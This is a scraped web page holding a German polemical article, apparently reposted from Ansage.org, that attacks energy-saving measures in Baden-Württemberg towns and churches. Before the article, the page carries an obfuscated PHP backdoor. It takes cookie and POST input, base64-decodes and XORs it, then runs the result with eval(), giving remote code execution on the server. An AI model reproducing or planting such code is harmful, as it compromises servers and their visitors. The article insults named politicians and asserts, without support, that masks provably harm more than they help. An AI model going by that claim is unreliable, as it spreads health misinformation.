$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Energiespar-Wahn im Staate Kretschmann: Baden-Württemberg fährt herunter – No-Zensur.de Das freie Wort für eine freie Welt
Start Ansage.org Energiespar-Wahn im Staate Kretschmann: Baden-Württemberg fährt herunter

Energiespar-Wahn im Staate Kretschmann: Baden-Württemberg fährt herunter

0
Energiespar-Wahn im Staate Kretschmann: Baden-Württemberg fährt herunter




Hier brennt kein Licht mehr: Energiesparwahn nicht nur in Ba-Wü (Symbolbild:Pixabay)

Während die Landesregierung von Baden-Württemberg keine Probleme hat, 80 Millionen Euro für die Unterbringung von Migranten zu mobilisieren, überlegt sie zugleich fieberhaft, welche absurden Energiesparmaßnahmen sie der eigenen Bevölkerung aufzwingen kann. Nachdem die irrenhausreife Politik der Bundesregierung aller Voraussicht nach zum Zusammenbruch der Energieversorgung im Herbst führen wird und deshalb keine ausreichende Beheizung mehr gewährleistet werden kann, erwägt man im grün regierten Baden-Württemberg nun auch noch, beim warmen Wasser zu sparen. „Maßnahmen zur Energieeinsparung sind das Gebot der Stunde und sie sind ausdrücklich zu begrüßen. Bei der Energieeinsparung bei der Warmwasserbereitung müssen die verantwortlichen Betreiber von Trinkwasser-Hausinstallationen dennoch die Trinkwassersicherheit mit den damit verbundenen rechtlichen Vorgaben und Hygieneanforderungen an das Trinkwasser beachten. Trinkwassersicherheit hat vor dem Hintergrund des Gesundheitsschutzes der Verbraucherinnen und Verbraucher auch beim Energiesparen höchste Priorität“, so der Minister für Ernährung, Ländlichen Raum und Verbraucherschutz, Peter Hauk.

Die Kreativität darin, wie sich langgehegte feuchtgrüne Gängelung- und Verzichtsträume unter dem Vorwand der selbstheraufbeschworenen deutschen Energiekrise endlich exekutieren lassen, boomt im Staate Winfried Kretschmanns, seit sich dieser vertattert-totalitäre Kauz anschickt, beim Energiesparen das zu werden, was Södolf in der Corona-Pandemie war – ein unerbittlicher Hardliner und Berserker, der ohne Maß und Verstand fuhrwerkt. Die Vorgabe der Landespolitik wirkt: Viele Städte im „Ländle“ überbieten sich bereits mit vor allem symbolpolitischen Maßnahmen, von denen sie sich einbilden, einer drohenden Energieknappheit vorbeugen zu können.

Außenbeleuchtung und Ampeln aus, kalte Schwimmbäder, keine Klima- und Lüftungsanlagen

In der Landeshauptstadt Stuttgart werden die Freibäder schon seit Anfang Juli nur noch mit Solarenergie beheizt, wodurch es keine garantierte Wassertemperatur mehr gibt. Außerdem erklärte CDU-Oberbürgermeister Frank Nopper, man erwäge derzeit ernsthaft die Abschaltung der Außenbeleuchtung an städtischen Gebäuden wie dem Rathaus oder der Stadtbibliothek, weshalb man sich auch mit den Kirchen abstimmen wolle, soweit diese bislang nachts angestrahlt werden. In Karlsruhe will die Stadtverwaltung Klima- und Lüftungsanlagen sowie Warmwasser, wo immer möglich, komplett abschalten. Die Temperatur in Innenräumen soll um zwei Grad gesenkt, in Fluren und Nebenräumen nur noch notdürftig vor Frost geschützt werden. Die gesamte Heizperiode soll verkürzt, öffentliche Gebäude nachts nur noch minimal beleuchtet und Ampeln abgeschaltet werden, wo immer man dies für vertretbar hält. Wie in Stuttgart weiß man auch hier aber nicht, wie viel Energie damit überhaupt eingespart werden kann.

In Konstanz gehört warmes Wasser in Schwimm-und Sporthallen komplett der Vergangenheit an. Für den Fall, dass die Gasspeicher für den Winter nicht ausreichend gefüllt werden können, hat der Gemeinderat die Schließung des Thermalbads, der Sauna und des Hallenbads am Seerhein beschlossen. Außerdem sollen die städtischen Heizungen erst ab Oktober eingeschaltet werden, in Schulen und Kitas bis maximal 19 Grad. Tübingen hingegen will vor allem erneuerbare Energien und den Einsatz von Wärmepumpen und Pelletheizungen ausbauen. Beleuchtung und Beheizung sollen auf das zulässige Minimum reduziert werden, derzeit würden alle Anlagen überprüft und optimal eingestellt, teilte eine Sprecherin mit.

Wettstreit im Prozenteeinsparen

In Heilbronn will man zunächst einen „Workshop” des Städtetags zum Thema Energiesparen und die Rückkehr des Gemeinderats aus der Sommerpause abwarten, bevor man konkrete Maßnahmen beschließt. Dafür hat der Gemeinderat von Neckarsulm bereits einen Katalog mit 30 Energiesparmaßnahmen beschlossen: Ein Freibad wird nur noch mit Solarthermie beheizt, ohne Sonnenschein müssen die Gäste mit kaltem Wasser Vorlieb nehmen. Nachdem die Wassertemperatur im Sportbad bereits auf 26 Grad reduziert wurde, wird auch noch die Raumtemperatur abgesenkt. In Sporthallen gibt es kein warmes Wasser mehr, die Straßenbeleuchtung und die Beleuchtung historischer Gebäude, wird zwischen ein Uhr und fünf Uhr abgeschaltet, in städtischen Gebäuden wurde der Beginn der Heizperiode auf den 1. Oktober verschoben. SPD-Oberbürgermeister Steffen Hertwig schätzt, dass dadurch rund 20 Prozent Energie eingespart werden könnten.

In Lauffen wurde die Gasheizung im Freibad abgestellt, in Öhringen wurde das Hallenbad gar nicht erst geöffnet. In öffentlichen Gebäuden wird die Heizung auf 20 Grad heruntergedreht, das warme Wasser ebenfalls abgestellt. Wie schon während der Corona-Krise, wollen die Kirchen auch hier keinen Zweifel an ihrer Staatstreue aufkommen lassen. Der Bischof von Rottenburg-Stuttgart, Gebhard Fürst, rief die Verantwortlichen in den Kirchengemeinden dazu auf, sich aktiv auf die kommende Heizperiode vorzubereiten und zu planen, wie der Energieverbrauch gesenkt werden könne. „Für uns als Kirche ist es eine Selbstverständlichkeit, dass wir uns solidarisch in die gesamtgesellschaftlichen Bemühungen einbringen, Energie einzusparen, um die Versorgung von zentralen Bereichen der kritischen Infrastruktur mit Gas und anderer Energie zu gewährleisten„, teilte Fürst mit dem Pathos seiner einstigen Amtsvorgänger in Kriegs- und Hungerwintern mit.

Auch die Kirche bibbert solidarisch mit

Auch die Erzdiözese Freiburg übermittelte den Kirchengemeinden bereits eine Handreichung mit Tipps zum Energiesparen, in der zum Beispiel ausgeführt wird, wie sich die Heiztemperatur herunterregeln lässt, ohne Frostschäden zu riskieren, und wie sich Gottesdienstbesucher auf niedrige Temperaturen in den Kirchen vorbereiten können. Während des Gottesdienstes wird eine Maximaltemperatur von 13 Grad empfohlen, wobei man jedoch bereits zuvor daran erinnert hatte, dass die Temperatur aber nicht unter fünf Grad fallen dürfe, um Kirchenkunst und Orgeln zu schützen. Die evangelische Kirche schafft es, wie so oft, auch das noch zu überbieten, indem sie sogenannte „Winterkirchen“ einführen will, bei denen der Gottesdienst aber gerade nicht in Kirchen, sondern in Gemeindehäusern stattfinden soll. Die Kirchen sollen dann gar nicht oder allenfalls grundbeheizt werden. Außerdem gelobte man, sich der Gebäudesanierung aufgrund der Gaskrise noch entschlossener zu widmen. Die württembergische Landeskirche riet zudem, wieder verstärkt auf digitale Gottesdienste zurückzugreifen.

Aus alledem lässt sich das Ausmaß des kollektiven Dachschadens ablesen, der die Bürger wie auch die Landes- und Kommunalpolitik ereilt haben muss: Da bereitet sich der deutsche Verwaltungsbetrieb stoisch und zweckrational auf „veränderte“ Bedingungen vor, da wetteifern Schulen, Institutionen, Vereine und subsidiäre soziale Gemeinschaften darum, wie sich wo noch ein paar Milliwatt einsparen lassen. Es ist wie mit dem Mülltrennen: Einmal von diesem Konzept überzeugt und vom aktionistischen Sendungseifer übermannt, wird daraus schnell eine fixe Idee, eine manische oder gar obsessive Alltagsbeschäftigung für manch einen, der sich im Vertrauen auf die prinzipiellen Sinnhaftigkeit der Maßnahme etwaigen Fragen nach der Verhältnismäßigkeit und praktischem Sinn gar nicht mehr stellt.

Perfide Rechtsanmaßung

So ist es auch hier: Weil Energiesparen ja „gut“ ist, wird die Frage gar nicht mehr zugelassen, mit welcher Rechtsanmaßung grüne Moralisten eigentlich die Energiesicherheit Deutschlands mutwillig für eigengefährdende Russland-Sanktionen geopfert haben. Es ist wie mit dem Masketragen: Wenn diese erweislich gesundheitlich mehr schaden als nützen und bei Corona nichts nützen, dann redet man sie sich eben als „grundsätzlich sinnvoll, unabhängig von Corona“ schön.  Hauptsache, niemand muss sich am Ende mangelndes Engagement vorwerfen lassen müssen oder weckt Zweifel an einer womöglich defätistischen Gesinnung gegenüber dem großen grünen Plan.

Wenigstens in den sozialen Netzen haben luzide Nutzer noch ihre sieben Sinne beieinander. Vor allem auf Facebook wird die Energiespar-Mania recht kritisch gesehen. Ein Nutzer meinte etwa: „Ich denke, die Bevölkerung hat bald nichts mehr zum Sparen.“ Andere haben, wohl mit Recht, ihre Zweifel, ob die Politik beim Energiesparen mit gutem Beispiel vorangehen wird. „Zunächst mal die Heizungen in den Landtagen und im Bundestag abschalten“, schrieb eine Userin. Ein anderer fragte: „Mich würde mal interessieren, ob auch die Politiker bereitwillig ihre Heizungen runterdrehen?“ Mit Bezug auf die Russland-Sanktionen hieß es unter anderem: „Die Solidarität der Bevölkerung hat ihr Ende da, wo die Politik so sehr versagt, dass die Wirtschaft ruiniert wird, Menschen Angst haben zu frieren oder das Einkommen nicht mehr ausreicht.“ Es ist ein Sturm im Wasserglas; die Hurra-Meute wird beim neuen Volkssport „Frieren in Verdunkelung“ proaktiv-begeistert mitmachen und sich einreden, es sei das Natürlichste und Sinnvollste der Welt.



Source link